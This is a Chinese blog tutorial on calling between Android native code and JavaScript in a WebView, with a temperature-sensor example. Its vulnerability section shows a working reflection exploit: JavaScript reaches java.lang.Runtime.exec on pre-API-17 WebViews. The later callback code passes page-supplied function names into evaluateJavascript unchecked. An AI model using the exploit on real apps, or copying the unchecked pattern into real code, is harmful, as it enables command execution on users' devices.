在 Android WebView 中实现和 JavaScript 的互操作

1,430 阅读6分钟

前言

在 APP 中内嵌一个 H5 来实现特定的业务功能已经是非常成熟且常用的方案了。

虽然 H5 已经能够实现大多数的需求,但是对于某些需求还是得依靠原生代码来实现然后与 JavaScript 进行交互,例如我目前所负责的项目就是一个 “智能硬件” 设备,需要外接非常多的硬件或传感器获取特定的数据,并在实际业务中使用。此时如果直接使用 H5 是无法获取到这些数据的,这就必须依赖于安卓原生提供相应的数据。

JavaScript 调用 Android 原生方法

webView.addJavascriptInterface()

简介

webView.addJavascriptInterface() 有两个参数 Object obj, String interfaceName

  1. 其中 object 即需要提供给 js 调用的对象。在 Android 4.1.2 (API 16) 以下时,js 可以调用该对象的所有公开方法;在 Android 4.2 (API 17)以上时, js 只能调用添加了 @JavascriptInterface 注解的公开方法。

之所以会有这样的改动,是因为在 API 16 之前可以调用所有公开方法具有安全隐患,例如可以利用 jave 的反射机制实现任意命令的执行。

  1. interfaceName 即 js 调用时的接口名称。

使用方法

首先,我们定义一个类用于给 js 调用:

class TestJsBridge {

    @JavascriptInterface
    fun getCurrentTemperature(): String {
        val data = "37.5" // 模拟从传感器获取的数据
        return data
    }
}

然后,我们需要允许 WebView 的 js 支持:

val webSettings = webView.settings
webSettings.javaScriptEnabled = true

接下来,将第一步中定义的 TestJsBridge 对象通过 addJavascriptInterface 注入到 js 中:

webView.addJavascriptInterface(TestJsBridge(), "NativeBridge")

现在,我们就可以直接在 JavaScript 中调用这个方法了:

<script type="text/javascript">
	var temp = NativeBridge.getCurrentTemperature();
</script>

此时,在 js 中,temp 的值就是 37.5

另外需要注意的是,js 调用 java 的方法不是在主线程中调用的,而是在 webview 自己线程中调用的,所以在编写某些涉及到 UI 的操作时需要先切换至主线程。

漏洞解析

对了,上文中说过在 API 16 以下的 addJavascriptInterface 有安全隐患,这里简单举一个例子演示如何通过反射在 js 中执行任意 sh。

首先,依旧是提供一个对象供 js 调用,这里我们直接给一个空对象:

class TestJsBridge {}

然后注入到 js 中:

webView.addJavascriptInterface(TestJsBridge(), "NativeBridge")

最后在 js 中这样写:

<script type="text/javascript">
for (var obj in window) {
  try {
    if ("getClass" in window[obj]) {
        try{
            ret= NativeBridge.getClass().forName("java.lang.Runtime").getMethod('getRuntime',null).invoke(null,null).exec(['echo', 'hello,equationl', '>', './sdcard/hack.txt']);
        } catch(e) { }
    }
  } catch(e) {}
}
</script>

这样,即使我们注入 js 的对象什么方法都没写,还是会被执行 sh ,上述 sh 就是输入一段字符串 “hello,equationl” 到 /sdcard/hack.txt 文件中。

shouldOverrideUrlLoading 拦截 URL

简介

我们可以通过 webview 的 shouldOverrideUrlLoading 拦截到当前请求的 URL,并且可以修改以什么样的方式去处理这个 URL。

换言之,我们可以在 js 中通过请求不同的 URL 来实现调用 java 代码并且传递值。

使用方法

首先,我们需要自己规定一下哪种形式的 URL 会被认为是需要被拦截处理的。

这里我们就简单的定为 "jsBridge://" 开头的 URL 表示需要被拦截处理,而其后跟着的路径表示调用哪个方法以及附带的参数。

例如,"jsBridge://getNewMsg?id=monkey_fish" 表示需要调用 java 的 getNewMsg 方法,并且附带参数 id 为 monkey_fish 。

接下来,我们覆写 webview 的 shouldOverrideUrlLoading 方法,并在其中对 URL 进行处理。

webView.webViewClient = object : WebViewClient() {
    
    override fun shouldOverrideUrlLoading(view: WebView, request: WebResourceRequest): Boolean {

        // ------  对alipays:相关的scheme处理 -------
        val url = request.url.toString()
        if (url.startsWith("jsBridge://")) {
        	// 解析参数等等等,然后调用安卓代码,这里假设是跳转到一个新的 Activity
        	// ……
            val intent = Intent(this@WebViewHolderActivity, MsgActivity::class.java)
            startActivity(intent)
            return true
        }

        return super.shouldOverrideUrlLoading(view, request)
    }
}

shouldOverrideUrlLoading 方法中返回 true 表示当前 URL 已被拦截,webview 将取消继续加载,false 则表示继续使用 webview 加载。

那么,js 如何调用这个方法呢?其实也很简单,只要重定向一下当前网址即可:

<script type="text/javascript">
	document.location = "jsBridge://getNewMsg?id=monkey_fish";
</script>

通过上面的例子我们可以看出,这个方式其实不太适合于 js 和 安卓原生的交互,反而更适合用于回调某些内容,并且这个内容不需要网页继续操作。

事实上,大多数情况下这个方法是用于网页授权登录或者网页支付等场景的。

例如,业务中某项第三方授权登录使用的是 webview 打开第三方授权网页,在网页上完成登录后,该第三方网页会重定向到特定的 URL,并在其中带入 token,例如:"authorize:xxxxxxxxxxx"。

此时,我们只需要拦截具有上述规则的 URL,并跳转到我们的登录界面即可,也就是说,后续操作就没有这个网页什么事了。

拦截对话框

简介

我们还可以通过覆写 onJsAlertonJsConfirmonJsPrompt 实现对 js 中的 alert() confirm() prompt() 三种不同的对话框的拦截和修改,从而变相的达到 js 调用原生代码的目的。

三个对话框都可以通过 message 参数向安卓传递参数。

第一个对话框不能返回数据给 js ; 第二个对话框只能返回一个 Boolean 值给 js ;最后一个对话框 onJsPrompt 可以返回一个字符串给 js,所以一般都是使用 onJsPrompt 来实现 js 和安卓的交互,因此我们接下来就只以 onJsPrompt 举例。

使用方法

要覆写 onJsPrompt 需要先创建一个类继承自 WebChromeClient() ,然后在其中覆写 onJsPrompt

    class MyWebChromeClient : WebChromeClient() {

        override fun onJsPrompt(view: WebView, url: String, message: String, defaultValue: String, result: JsPromptResult): Boolean {
            val resultMsg = getNext(message)
            result.confirm(resultMsg)
            return true
        }
    }

其中,result.confirm(resultMsg) 相当于我们点击了这个对话框的确定按钮,并且返回提供的值(resultMsg)。如果调用 result.cancel() 则相当于点击了这个对话框的取消按钮,此时返回值为 null 。

getNext 是我们的原生逻辑代码,它会返回一个 String 的结果:

    fun getNext(id: String): String {
        // ……
        if (id == "fish") return "我多么想成为你的鹿"

        // ……
        return ""
    }

然后将该类设置到 webview 上:

webView.webChromeClient = MyWebChromeClient()

现在,我们只需要在 js 中如此调用即可:

<script type="text/javascript">
	var nextMsg = prompt("fish");
</script>

此时 js 中的 nextMsg 变量就是通过原生安卓拿到的 "我多么想成为你的鹿" 。

Android 调用 JavaScript 方法

evaluateJavascript()

要在 webview 中调用 js 代码也非常简单,官方给出的方案就是直接使用 evaluateJavascript()

evaluateJavascript() 接收两个参数: scriptresultCallback ,其中 script 就是我们要执行的 js 代码,可以执行任意 js 代码;而 resultCallback 是执行结果回调,返回结果是 String 类型。

使用起来也十分简单,例如我们想要调用 js 显示一个 alert 弹框:

webView.evaluateJavascript("alert('hello, my fish, my monkey');") {
    println("执行结果: $it")
}

需要注意的是这里的返回结果是空的,因为 alert 本来就没有返回值。

loadUrl()

另外一种在 webview 中调用 js 的代码的方法就是使用 loadUrl(),其实顾名思义,loadUrl() 是用来加载 URL 的,但是它同样可以用来执行 js ,就如同我们直接在浏览器地址栏中输入一样:

javascript:alert('hello, my deer');

1.png

在 webview 中使用也一样:

webView.loadUrl("javascript:alert('hello, my deer');")

但是使用这种方式调用有一种显而易见的缺点,那就是我们无法直接拿到 js 执行的结果。

实践使用

上面已经简要介绍了如何实现安卓原生和 H5 或者说和 js 的交互。

下面我就简单说一下在实际中的应用。

还是以我负责的这个项目为例,在我这个项目中更多的是需要将硬件的能力或者说数据传递给 js 以供 H5 来使用,所以我基本都是在使用 webView.addJavascriptInterface()

另外在提供数据给 js 时还会涉及到两种提供方式。

因为在这个项目中,所有硬件的数据都是实时轮询后实时回报给安卓端 APP 的,所以在提供给 JS 时同样需要提供两种形式的数据:一是当前某个传感器的瞬时数据;二是希望能够实时提供某个传感器的数据。

对于情况一非常好实现,这里以获取温度传感器的瞬时值举例。

首先先定义一些工具方法,用于将返回的数据格式化成固定格式:

    fun getCommonResponse(code: Int = WebViewCode.OK, message: String = "", data: String): String {
        return Gson().toJson(CommonResponse(code, message, data))
    }

然后定义需要注入 js 的接口:

class JsTemp {
    @JavascriptInterface
    fun getCurrentTemp(): String {
        if (!TempManager.isConnected()) {
            return WebViewUtil.getCommonResponse(code = WebViewCode.TempNotConnect, message = "没有连接温度传感器", data = "")
        }
        if (!TempManager.isDeviceExist()) {
            return WebViewUtil.getCommonResponse(code = WebViewCode.TempNotFound, message = "没有可用的温度传感器", data = "")
        }
        return WebViewUtil.getCommonResponse(data = TempManager.currentTemp.toString())
    }
}

将其注入 webView:

val jsTemp by lazy { JsTemp() }
val JsTempObject = "NativeTemp"

// ……

webView.addJavascriptInterface(jsTemp, JsTempObject)

然后在 H5 中如此调用:

<html>

<head>
    <title>test</title>
</head>

<body>

<div class="toast-div" id="currentTemp" onclick="getCurrentTemp()">获取当前温度</div>

<div id="temp">temp: null</div>

</body>

<script type="text/javascript">

        function getCurrentWeight() {
            document.getElementById("temp").innerHTML = "current temp: "+ NativeTemp.getCurrentTemp();
        }

    </script>
</html>

这样即可在 H5 获取当前温度的瞬时值。

如果我们想要在 H5 中实时获取温度值的话,我们可以事先在 js 中定义好需要的回调函数,然后将函数传递给 webview,再由安卓原生在轮询温度值时通过 evaluateJavascript 将值回调给设置的 js 回调函数。

代码如下,

首先,在 H5 中定义好用于接收温度的值的回调函数,以及界面:

<!-- …… -->

<div class="toast-div" onclick="NativeTemp.addOnTempChangeListener('onTempChange')">添加温度监听</div>

<div class="toast-div" onclick="NativeTemp.removeOnTempChangeListener('onTempChange')">移除温度监听</div>

<!-- …… -->

<script type="text/javascript">

<!-- …… -->

		function onTempChange(temp) {
			document.getElementById("temp").innerHTML = "temp callback: "+temp + " | " + Date.now();
		}

<!-- …… -->

</script>

其中的 onTempChange 即为我们定义的用于接收回调的 js 函数名称。

然后在安卓的接口类中:

// ……
    /**
     * 添加温度改变时的监听回调
     *
     * @param callbackFunName JS 函数名,温度改变时回调给哪个 JS 函数
     * @return 返回添加结果
     * */
    @JavascriptInterface
    fun addOnTempChangeListener(callbackFunName: String): String {
        if (!TempManager.isConnected()) {
            return WebViewUtil.getCommonResponse(code = WebViewCode.TempNotConnect, message = "没有连接温度传感器", data = "")
        }
        if (!TempManager.isDeviceExist()) {
            return WebViewUtil.getCommonResponse(code = WebViewCode.TempNotFound, message = "没有可用的温度传感器", data = "")
        }

        val result = onTempChangeFunName.add(callbackFunName)

        return if (result) {
            WebViewUtil.getCommonResponse(data = "OK")
        } else {
            WebViewUtil.getCommonResponse(code = WebViewCode.CallBackAlreadyAdd, message = "$callbackFunName 已经添加", data = "")
        }
    }



    /**
     * 移除温度改变时的监听回调
     *
     * @param callbackFunName JS 函数名,已添加的 JS 函数
     * @return 返回移除结果
     * */
    @JavascriptInterface
    fun removeOnTempChangeListener(callbackFunName: String): String {
        val result = onTempChangeFunName.remove(callbackFunName)

        return if (result) {
            WebViewUtil.getCommonResponse(data = "OK")
        } else {
            WebViewUtil.getCommonResponse(code = WebViewCode.CallBackNotExist, message = "$callbackFunName 不存在", data = "")
        }
    }
// ……

其中的 onTempChangeFunName 是我们的定义的一个 Set ,用于存放当前设置的回调函数名称:val onTempChangeFunName: MutableSet<String> = mutableSetOf()

最后,在轮询温度的地方调用:

while (true) {
    // ……
    val result = 36.5 // 模拟轮询到温度结果
    // ……
    if (onTempChangeFunName.isNotEmpty()) {
        val json = WebViewUtil.getCommonResponse(data = result.toString())

        for (function in onTempChangeFunName) {
            webView.evaluateJavascript("$function('$json');") {

            }
        }
    }
    
    delay(50)
}

自此,我们实时获取温度传感器数值的目的也达成了。